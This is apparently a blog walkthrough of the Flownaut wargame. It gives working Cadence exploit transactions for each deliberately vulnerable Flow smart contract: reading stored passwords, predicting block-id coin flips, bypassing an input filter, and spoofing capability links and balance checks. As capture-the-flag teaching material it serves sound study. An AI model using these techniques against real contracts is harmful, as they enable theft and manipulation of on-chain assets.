Flownaut Walkthrough

Flownaut Walkthrough

·

3 min read

Hello Flownaut

Link: https://flownaut.ecdao.org/en/hello-flownaut

This is a tutorial level. Call the changeGreeting method and change greeting to You have been hacked! to complete the level.

import HelloFlownaut from 0xe44d046a90d02758

transaction {
    prepare(signer: AuthAccount) {}

    execute {
        HelloFlownaut.changeGreeting(newGreeting: "You have been hacked!")
    }
}

Cockroach Remover

Link: https://flownaut.ecdao.org/en/cockroach-remover

Notice that the removeCockroach function in the contract only filters out the first cockroach, so you can input multiple cockroach to complete the level.

import CockroachRemover from 0x0b32c492aeafab41

transaction {
    prepare(signer: AuthAccount) {}

    execute {
        CockroachRemover.removeCockroach(insects: ["cockroach", "cockroach"])
    }
}

Password

Link: https://flownaut.ecdao.org/en/password

You can directly read the password from the contract.

import Password from 0x1d66a1a137aba120

transaction {
    prepare(signer: AuthAccount) {}

    execute {
        Password.unlock(guess: Password.password)
    }
}

Rock Paper Scissors

Link: https://flownaut.ecdao.org/en/rock-paper-scissors

Pay attention to the following:

  1. In the loop for action in actions, only myAction is reset to Action.rock, while yourAction remains unchanged.

  2. If an action other than rock, paper, or scissors is passed to rockPaperScissors, neither myAction nor yourAction will change.

Based on this, we can conclude:

  1. If we can make yourAction in the loop Action.paper, we can increase our score.

  2. We can achieve this by inputting paper to change yourAction to Action.paper.

  3. For the other two actions, we can input any string other than rock, paper, or scissors to keep yourAction as Action.paper and score two points in the game.

import RockPaperScissors from 0x13d98a741d6f8d93

transaction() {
    prepare(signer: AuthAccount) {}

    execute {
        RockPaperScissors.rockPaperScissors(actions: ["paper", "hello", "world"])
    }
}

Coinflip

Link:https://flownaut.ecdao.org/en/coinflip

In the same transaction, the value of getCurrentBlock().id remains the same, so we can calculate the side before executing the flip function.

import Coinflip from 0x058def47846b87f2

transaction() {
    prepare(signer: AuthAccount) {}

    execute {
        let currentBlockId: [UInt8; 32] = getCurrentBlock().id
        var seed: UInt256 = 0
        for byte in currentBlockId {
            seed = seed + UInt256(byte)
        }
        let flip: UInt256 = seed % 2
        let side: Bool = flip == 1 ? true : false

        var counter = 0
        while counter < 10 {
            Coinflip.flip(guess: side)
            counter = counter + 1
        }
    }
}

Password in Storage

Link: https://flownaut.ecdao.org/en/password-in-storage

Simply use a script to return the reference to the Password resource to view the password.

import Password from 0xe51a09854a46ef11

pub fun main(): &Password.MyPassword{Password.PasswordPublic} {
    let password = Password.getPublicPasswordCap().borrow() ?? panic("borrow password failed")
    return password
}

// {
//   "Resource": {
//     "Password.MyPassword": {
//       "uuid": "172736572",
//       "locked": true,
//       "password": "XGBKDON"
//     }
//   }
// }
import Password from 0xe51a09854a46ef11

transaction {
    prepare(signer: AuthAccount) {}

    execute {
        let password = Password.getPublicPasswordCap().borrow() ?? panic("borrow password failed")
        password.unlock(guess: "XGBKDON")
    }
}

Capability Palooza

Link: https://flownaut.ecdao.org/en/capability-palooza

If a link for the given capability path already exists, the link function will return nil. So, we just need to link the /public/capabilityPalooza path to ExampleToken.VaultStoragePath.

import ExampleToken from 0x1996febee87cc91c
import FungibleToken from 0x9a0766d93b6608b7

transaction {
    prepare(signer: AuthAccount) {
        signer.save(<- ExampleToken.mintTokens(amount: 120.0), to: ExampleToken.VaultStoragePath)
        signer.unlink(/public/capabilityPalooza)
        signer.link<&ExampleToken.Vault{FungibleToken.Balance}>(/public/capabilityPalooza, target: ExampleToken.VaultStoragePath)
    }

    execute {}
}

Token Balance

Link:https://flownaut.ecdao.org/en/token-balance

The verification script only fetches the balance of the ExampleToken.Vault stored in ExampleToken.VaultStoragePath, but in Flow, an account can store multiple vaults. Additionally, the balance returned by ExampleToken.getBalances() depends on the balance of the last vault that had a deposit. Therefore, we can create two vaults and transfer most of the tokens from the vault in ExampleToken.VaultStoragePath to the other vault to meet the completion condition.

import ExampleToken from 0x6e696a8848a7e0ce
import FungibleToken from 0x9a0766d93b6608b7

transaction {
    prepare(signer: AuthAccount) {
        signer.save(<- ExampleToken.createEmptyVault(), to: ExampleToken.VaultStoragePath)

        signer.unlink(ExampleToken.VaultPublicPath)
        let balanceCap = signer.link<&ExampleToken.Vault{FungibleToken.Balance}>(ExampleToken.VaultPublicPath, target: ExampleToken.VaultStoragePath)

        let vaultRef = signer.borrow<&ExampleToken.Vault>(from: ExampleToken.VaultStoragePath) ?? panic("borrow vaultRef failed")
        let vault <- ExampleToken.mintTokens(amount: 100.0)
        vaultRef.deposit(from: <- vault)

        signer.save(<- ExampleToken.createEmptyVault(), to: /storage/FlownautExampleToken3)
        let vault2Ref = signer.borrow<&ExampleToken.Vault>(from: /storage/FlownautExampleToken3) ?? panic("borrow vault2Ref failed")

        let vault2 <- vaultRef.withdraw(amount: 80.0)
        vault2Ref.deposit(from: <- vault2)
    }

    execute {}
}

Token Gate

Link: https://flownaut.ecdao.org/en/token-gate

The verification script only requires that the resource stored at ExampleToken.VaultPublicPath implements the {FungibleToken.Balance} interface, and it does not require the resource to be an ExampleToken.Vault. So, we can simply link /storage/flowTokenVault to ExampleToken.VaultPublicPath.

import ExampleToken from 0x6fbe8ff2edfe6e89
import FungibleToken from 0x9a0766d93b6608b7

transaction {
    prepare(signer: AuthAccount) {
        signer.unlink(ExampleToken.VaultPublicPath)
        signer.link<&{FungibleToken.Balance}>(ExampleToken.VaultPublicPath, target: /storage/flowTokenVault)
    }

    execute {}
}